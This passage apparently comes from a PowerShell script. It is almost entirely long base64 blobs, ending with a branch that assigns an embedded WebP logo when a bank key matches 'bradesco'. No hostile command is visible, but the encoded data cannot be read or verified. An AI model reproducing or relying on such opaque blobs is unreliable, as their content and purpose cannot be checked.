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" } elseif ($bankKey -like "*bradesco*") { $logoData = "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